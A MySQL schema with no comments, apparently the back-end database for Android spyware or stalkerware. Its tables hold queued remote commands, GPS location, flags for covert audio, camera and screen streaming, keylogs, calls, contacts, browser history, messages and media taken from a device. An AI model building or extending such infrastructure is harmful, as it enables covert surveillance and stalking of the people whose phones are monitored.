CREATE TABLE commands (
    id INT(6) UNSIGNED AUTO_INCREMENT PRIMARY KEY,
    command VARCHAR(50) NOT NULL,
    status VARCHAR(20) DEFAULT 'pending',
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

CREATE TABLE logs (
    id INT(6) UNSIGNED AUTO_INCREMENT PRIMARY KEY,
    message TEXT,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

CREATE TABLE device_status (
    id INT(6) UNSIGNED AUTO_INCREMENT PRIMARY KEY,
    latitude VARCHAR(20),
    longitude VARCHAR(20),
    audio_recording BOOLEAN DEFAULT 0,
    camera_streaming BOOLEAN DEFAULT 0,
    screen_streaming BOOLEAN DEFAULT 0,
    last_seen TIMESTAMP DEFAULT CURRENT_TIMESTAMP
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

CREATE TABLE keylogs (
    id INT(10) UNSIGNED AUTO_INCREMENT PRIMARY KEY,
    app_name VARCHAR(100),
    text_content TEXT,
    timestamp TIMESTAMP DEFAULT CURRENT_TIMESTAMP
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

CREATE TABLE calls (
    id INT(10) UNSIGNED AUTO_INCREMENT PRIMARY KEY,
    number VARCHAR(20),
    name VARCHAR(100),
    type VARCHAR(20),
    duration INT,
    date TIMESTAMP
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

CREATE TABLE contacts (
    id INT(10) UNSIGNED AUTO_INCREMENT PRIMARY KEY,
    name VARCHAR(100),
    number VARCHAR(20),
    UNIQUE KEY unique_contact (number)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

CREATE TABLE history (
    id INT(10) UNSIGNED AUTO_INCREMENT PRIMARY KEY,
    title VARCHAR(255),
    url TEXT,
    timestamp TIMESTAMP DEFAULT CURRENT_TIMESTAMP
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

CREATE TABLE app_usage (
    id INT(10) UNSIGNED AUTO_INCREMENT PRIMARY KEY,
    app_name VARCHAR(100),
    package_name VARCHAR(100),
    usage_time BIGINT,
    last_used DATETIME,
    date DATE
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

CREATE TABLE IF NOT EXISTS messages (
    id INT AUTO_INCREMENT PRIMARY KEY,
    app_name VARCHAR(50) NOT NULL,
    sender VARCHAR(100),
    receiver VARCHAR(100),
    message_text TEXT,
    message_type ENUM('incoming', 'outgoing') DEFAULT 'incoming',
    timestamp DATETIME DEFAULT CURRENT_TIMESTAMP
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

CREATE TABLE IF NOT EXISTS media_files (
    id INT AUTO_INCREMENT PRIMARY KEY,
    file_type ENUM('image', 'video') NOT NULL,
    file_path VARCHAR(255) NOT NULL,
    original_path VARCHAR(255),
    folder_name VARCHAR(100),
    timestamp DATETIME DEFAULT CURRENT_TIMESTAMP
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
